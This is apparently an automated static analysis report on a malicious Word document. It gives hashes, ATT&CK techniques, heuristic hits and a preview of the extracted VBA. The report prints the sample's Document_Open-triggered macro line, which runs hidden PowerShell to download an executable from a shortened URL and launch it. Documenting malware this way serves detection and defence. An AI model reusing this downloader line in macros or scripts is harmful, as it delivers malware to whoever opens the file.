Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1d67db60d921c086…

MALICIOUS

Office (OOXML)

2.57 MB Created: 2021-11-03 17:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-21
MD5: ee2a97b1e6c1dfbbea31c17e5058956d SHA-1: 4ff0cae397231bd20bcc112022c08c2571e27e64 SHA-256: 1d67db60d921c086a74ae700320fdd13cc696d2ae429edb04ba170573675392c
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an OOXML document containing a VBA project with a Document_Open macro. This macro utilizes the Shell() function to execute PowerShell commands, indicating an attempt to download and execute a second-stage payload. The presence of a PowerShell reference and the auto-execution of Shell() via Document_Open strongly suggest a malicious downloader.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub lixo15()
Shell ("C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -WindowStyle Hidden -nop Invoke-WebRequest -Uri shorturl.at/epsD4 -OutFile $env:public\123.exe;explorer $env:public\123.exe")
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Private Sub lixo15()
Shell ("C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -WindowStyle Hidden -nop Invoke-WebRequest -Uri shorturl.at/epsD4 -OutFile $env:public\123.exe;explorer $env:public\123.exe")
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
On Error GoTo ErrorHandler
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Whoami\AppData\Roaming\Microsoft\Templates\Panfleto de gato desaparecido.dotx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ OOXML external relationship
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#OOXML external relationship
    • http://purl.org/dc/elements/1.1/OOXML external relationship
    • http://ns.adobe.com/xap/1.0/mm/OOXML external relationship
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#OOXML external relationship
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#OOXML external relationship
    • http://ns.adobe.com/photoshop/1.0/OOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1345576 bytes
SHA-256: 5f95228641d002a3bfb95bd5bac09ef70e08723deb4dd1a38b156fa5d9490422
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:

:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
:
:
:
::
:
:
:
:
:
:
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8388608 bytes
SHA-256: c811d5279908c5f323f6fb6a87bfa5a1f998d316e8970d1d9b6e18970cf63f1b

Open this report in the interactive analyzer, or submit your own file for analysis.